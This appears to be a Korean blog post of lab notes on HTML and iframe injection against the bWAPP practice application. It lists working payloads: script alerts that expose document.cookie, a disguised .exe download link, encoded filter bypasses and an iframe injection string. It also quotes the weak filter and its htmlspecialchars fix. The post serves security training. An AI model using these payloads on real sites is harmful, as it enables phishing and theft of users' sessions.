한님폐하 2022. 9. 12. 19:25

1. HTML(Hypertext Markup Language) 메서드 유형

  • get : HTTP 헤더에 정보(파라메터)를 포함시켜서 전송하는 방식이기 때문에 파라메터 정보가 URL에 출력된다.
  • post : HTTP 바디에 정보(파라메터)를 포함시켜서 전송하는 방식이기 때문에 파라메터 정보가 URL에 출력되지 않는다.

 

2. 인젝션 공격 유형 

  • Reflected 공격 
    • [공격자]
       - 공격자가 Reflected 취약점을 갖고 있는 웹-서버를 검색한다.
       - 그리고 목적지 주소를 웹-서버로 하여(또는 웹 서버 도메인으로하여) 악의적인 태그/스크립트가 포함된 URL을 제작한다.
       - 제작된 URL을 다른 사이트 게시판, Email, SNS, 즉 사회공학적 기법을 통해서 배포한다.
    • [타겟]
       - 사용자가 배포된 URL을 클릭하면 Reflected 취약점을 갖고 있는 웹-서버로 HTTP 요청을 전송한다.
       - HTTP 요청을 수신한 웹-서버는 URL에 포함되어 있는 악의적인 태그/스크립트를 HTTP 응답으로 사용자에게 전송한다.
       - HTTP 응답을 수신한 사용자는 시스템 및 브라우저에서 악의적인 태그/스크립트가 실행된다.
  • Stored 공격
    • [공격자]
       - 공격자가 Stored 취약점을 갖고 있는 웹-서버를 검색한다.
       - 공격자가 악의적인 태그/스크립트가 실행되는 소스 코드를 제작한다.
       - 제작된 소스 코드를 사용자들이 자주 접근하는 웹-서버 게시판에 저장한다. 
       - 소스 코드가 저장된 웹-서버 게시판에 사용자들이 접근할 수 있도록 사회공학적 기법을 이용한다.
    • [타겟]
       - 사용자가 게시판에 접근하기 위해서 웹-서버로 HTTP 요청을 전송한다.
       - HTTP 요청을 수신한 웹-서버는 악의적인 태그/스크립트가 포함된 HTTP 응답을 사용자에게 전송한다.
       - HTTP 응답을 수신한 사용자는 시스템 및 브라우저에서 악의적인 태그/스크립트가 실행된다.

 

3. HTML Injection - Reflected (GET)

  • low 
<h1>test1</h1>
<h2>test2</h2>

<img src=https://t1.daumcdn.net/cfile/tistory/99AA693B5C47D26D18></img>
<img src=https://t1.daumcdn.net/news/202005/12/KorMedi/20200512170257612auhb.jpg></img>

<a href=https://net123.tistory.com>Click Here A</a>
<a href=https://www.daum.net>Click Here B</a>

<img src=https://sichime.com/web/product/extra/small/20200401/db8dda672cfbbc059874f339a2346a37.png></img>
<a href="https://net123.tistory.com/attachment/cfile7.uf@99DC973E5D30314E278FD2.exe" download="ActiveX"><button type="button">ActiveX Download</button></a>

<script>alert("test")</script>
<script>alert(document.cookie)</script>

<script>alert("test")</script>
<script>window.open("http://www.naver.com")</script>

 

  • medium
    • medium 레벨에서는 'str_replace' 함수를 이용하여 <, >를 HTML Name으로 치환하기 때문에 공격이 진행되지 않는다.
    • https://ascii.cl/htmlcodes.htm 사이트에 접속하여 <, > 기호의 HTML Name을 확인한다.
    • 단, urldecode를 실시하기 때문에 URL 인코딩된 문자열에 대해서는 인젝션이 가능하다.
vi /var/www/bWAPP/htmli_get.php
function xss_check_1($data)
{
    // Converts only "<" and ">" to HTLM entities    
    $input = str_replace("<", "&lt;", $data);
    $input = str_replace(">", "&gt;", $input);

    // Failure is an option
    // Bypasses double encoding attacks   
    // <script>alert(0)</script>
    // %3Cscript%3Ealert%280%29%3C%2Fscript%3E
    // %253Cscript%253Ealert%25280%2529%253C%252Fscript%253E
    $input = urldecode($input);

    return $input;
}

 

  • high
    • high 레벨에서는 'htmlspecialchars' 함수를 이용한다.
    • htmlspecialchars' 함수는 HTML 코드에 특수 문자/기호가 처리되지 않도록 방지하는 기능을 수행한다.
    • 즉, 특수 문자/기호를 HTML 이름으로 치환 시켜 문자열로 처리하도록 한다.
    • 참고 사이트 : https://www.php.net/manual/en/function.htmlspecialchars.php
vi /var/www/bWAPP/htmli_get.php
function xss_check_3($data, $encoding = "UTF-8")
{
    // htmlspecialchars - converts special characters to HTML entities    
    // '&' (ampersand) becomes '&amp;' 
    // '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
    // "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set
    // '<' (less than) becomes '&lt;'
    // '>' (greater than) becomes '&gt;'  
    return htmlspecialchars($data, ENT_QUOTES, $encoding);
}

 

4. HTML Injection - Reflected (POST)

  • post 방식이므로 입력값들이 HTTP 바디에 포함되어 전송된다.
  • 버프슈트를 이용하여 확인한다.

 

5. HTML Injection - Reflected (URL)

  • 별도의 입력 박스가 없기 때문에 URL에 HTML을 인젝션하는 시나리오이다.
  • 버프슈트를 이용하여 URL 내용에 다음과 같이 HTML 태그를 인젝션한다.
GET /bWAPP/htmli_current_url.php/<h1>test1</h1> HTTP/1.1

 

6. HTML Injection - Stored (Blog)

  • Stored 방식이므로 HTML 태그, 스크립트를 저장한다.

 

7. iFrame Injection

  • iframe 태그 : HTML 내용 안에 또다른 HTML 내용을 출력할수 있는 태그
  • 형식 : <iframe src=출력할 페이지 height="가로 크기" width="세로 크기"></iframe>

7-1. 기존 URL

http://192.168.20.205/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250

7-2. 인젝션 내용

robots.txt height="250" width="250"></iframe><iframe frameborder="0" src=http://192.168.20.205 height="250" width="250"></iframe>

7-3. 인젝션 위치

http://192.168.20.205/bWAPP/iframei.php?ParamUrl=인젝션 위치&ParamWidth=250&ParamHeight=250